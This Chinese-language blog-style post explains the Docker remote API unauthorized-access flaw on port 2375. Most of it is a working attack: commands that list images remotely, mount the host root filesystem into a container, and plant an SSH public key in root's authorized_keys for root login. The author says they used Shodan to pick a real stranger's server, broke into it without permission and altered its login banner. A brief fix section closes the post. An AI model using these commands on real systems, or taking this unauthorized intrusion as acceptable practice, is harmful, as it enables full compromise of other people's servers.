docker remote api主要的目的是取代命令行界面,
docker client和docker daemon通過unix domain socket進行通信.
默認情況下,只有本機的root和docker組用戶才能操作docker.
0x01漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守護進程監聽在0.0.0.0,外網可訪問
3.沒有使用iptable等限制可連接的來源ip。
0x02漏洞危害及常見的攻擊方式
1.遠程對被攻擊主機的docker容器進行操作
docker -H tcp://*.*.*.*:2375 images
2.遠程啟動被攻擊主機的docker容器,並掛載宿主機的目錄,通過容器來修改宿主機的author ized_ keys文件,寫入公鑰。
docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash
具體的步驟是:
我沒有自己搭建環境做測試,在shodan搜索port:2375找了一台機器,再找X國的機器,再找對應product是docker的主機,隨機找了1台,可以看到宿主機的鏡像,然后開始利用漏洞:
其實有很多,找到這些后在本地裝有docker的機器上使用如下命令開始測試:
docker -H tcp://x.x.x.x:2375 images
能看到宿主機的鏡像,說明漏洞存在
開始利用:
在宿主機上啟動docker容器:
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113a43faa138 /bin/bash (113a43faa138為images ID )
這條命令的意思是啟動一個image ID 為113a43faa138的容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下
啟動之后就會獲得該容器宿主機的shell:
然后進入 cd /root/mnt 目錄
接下來開始創建免密鑰登錄文件(將本地的公鑰存放在被入侵的服務器上)
mkdir .ssh 目錄
假如存在.ssh文件夾,則進入該文件夾修改authorized_keys文件,將本地生成公鑰字符串放入改文件中,
root@180d2dd6287a:/mnt/root/.ssh# vi authorized_keys bash: vi: command not found root@180d2dd6287a:/mnt/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNtdT1CyvMJTAHlhE2jZXSlIFG+FebBgLezKiEkl+XHt7BEwjwoRmT9q1cEtjTZe/DdfDS6kW9nzZwN3wxC5KSMppq0NS19MGnr9DrUkv2tAlXuwkVLPRZeKCMODEOI9ZeEwEz71PWD0MX7EkDBJxC+9FfWHvxCcXu+xyuj/f3j8zwScOCR0SqQfNp013j7CI/4ZYzzkMzcpI6LBo/jv0A/Hp3ODYdc8Urn6u4ZBzze1UAH27shx/I/6GBWMt9TLFgHvdXtEBD7r+vmQIMJxBXR8pZpuvCU54j3+NTi15LMWyY5ar/jOB9EEdIgdmRk4Ccqv92XQQ/1 root@zabbix-mysql-master-88 >>authorized_keys # 這里使用追加的方式(>>)
替換成功,接下來在本地機器上使用命令:
Ssh root@x.x.x.x 登錄,順利登錄:
隨后修改了該機器的/etc/issue登錄提示文件,告訴機主該機器docker存在漏洞,貌似目前已修復
修復方法:
1、設置ACL,只允許信任ip連接對應端口
2、開啟TLS,使用生成的證書進行認證
https://docs.docker.com/engine/security/https/